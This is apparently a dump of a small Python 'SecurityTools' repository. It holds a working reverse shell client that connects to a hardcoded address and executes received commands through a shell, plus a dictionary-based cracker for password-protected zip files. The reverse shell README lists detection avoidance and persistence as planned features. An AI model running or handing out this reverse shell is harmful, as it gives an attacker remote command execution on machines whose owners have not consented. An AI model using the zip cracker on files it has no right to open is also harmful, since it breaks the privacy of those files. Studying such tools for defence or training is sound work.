-------------------------------------------------------------------------------- /ReverseShell/README.md: -------------------------------------------------------------------------------- 1 | # ReverseShell 2 | A (currently single-client) reverse shell written in Python 3 | 4 | # Features 5 | * Reverse Shell, unencoded, single client support (this is only v1.0 after all) 6 | 7 | ![Execution](http://i.imgur.com/lEaPaYs.png) 8 | 9 | # TODO 10 | * Better error handling/noticing no available clients 11 | * Add ability for multiple clients 12 | * Add support for at least encoding, if not encrypting 13 | * Look into client specific commands similar to meterpreter 14 | * Test, and avoid, detection 15 | * Improve error handling and persistence 16 | -------------------------------------------------------------------------------- /ReverseShell/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/ReverseShell/__init__.py -------------------------------------------------------------------------------- /ReverseShell/reverseShell.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import subprocess 3 | import sys 4 | 5 | RHOST = "192.168.1.29" 6 | RPORT = 443 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((RHOST, RPORT)) 9 | 10 | while True: 11 | data = s.recv(1024) 12 | conn = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, 13 | stderr=subprocess.PIPE, stdin=subprocess.PIPE) 14 | STDOUT, STDERR = conn.communicate() 15 | s.send(STDOUT) 16 | s.close() -------------------------------------------------------------------------------- /ZipCracker/README.md: -------------------------------------------------------------------------------- 1 | # ZipCracker 2 | A simple password protected zip cracker written in Python 3 | 4 | # Features 5 | * Dictionary based attack for a single zip file 6 | 7 | ![Execution](http://i.imgur.com/tCCZm4Q.png) 8 | 9 | # TODO 10 | * Better error handling 11 | * Support for multiple file formats 12 | * Add brute force ability 13 | * Better status reporting, as well as final statistics -------------------------------------------------------------------------------- /ZipCracker/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/ZipCracker/__init__.py -------------------------------------------------------------------------------- /ZipCracker/zipCracker.py: -------------------------------------------------------------------------------- 1 | import zipfile 2 | from time import time 3 | 4 | def main(): 5 | try: 6 | myZip = zipfile.ZipFile("secret.zip") 7 | except zipfile.BadZipfile: 8 | print("[!] There was an error opening your zip file.") 9 | return 10 | 11 | password = '' 12 | 13 | timeStart = time() 14 | with open("10_million_password_list_top_10000.txt", "r") as f: 15 | passes = f.readlines() 16 | for pass_count, x in enumerate(passes): 17 | password = x.strip() 18 | try: 19 | myZip.extractall(pwd = password) 20 | totalTime = time() - timeStart 21 | print("\nPassword cracked: %s\n" % password) 22 | print("%i password attempts per second." % (pass_count/totalTime)) 23 | return 24 | except Exception as e: 25 | if str(e[0]) == 'Bad password for file': 26 | pass # TODO: properly handle exceptions? 27 | elif 'Error -3 while decompressing' in str(e[0]): 28 | pass # TODO: properly handle exceptions? 29 | else: 30 | print(e) 31 | print("Sorry, password not found.") 32 | 33 | if __name__ == '__main__': 34 | main() 35 | --------------------------------------------------------------------------------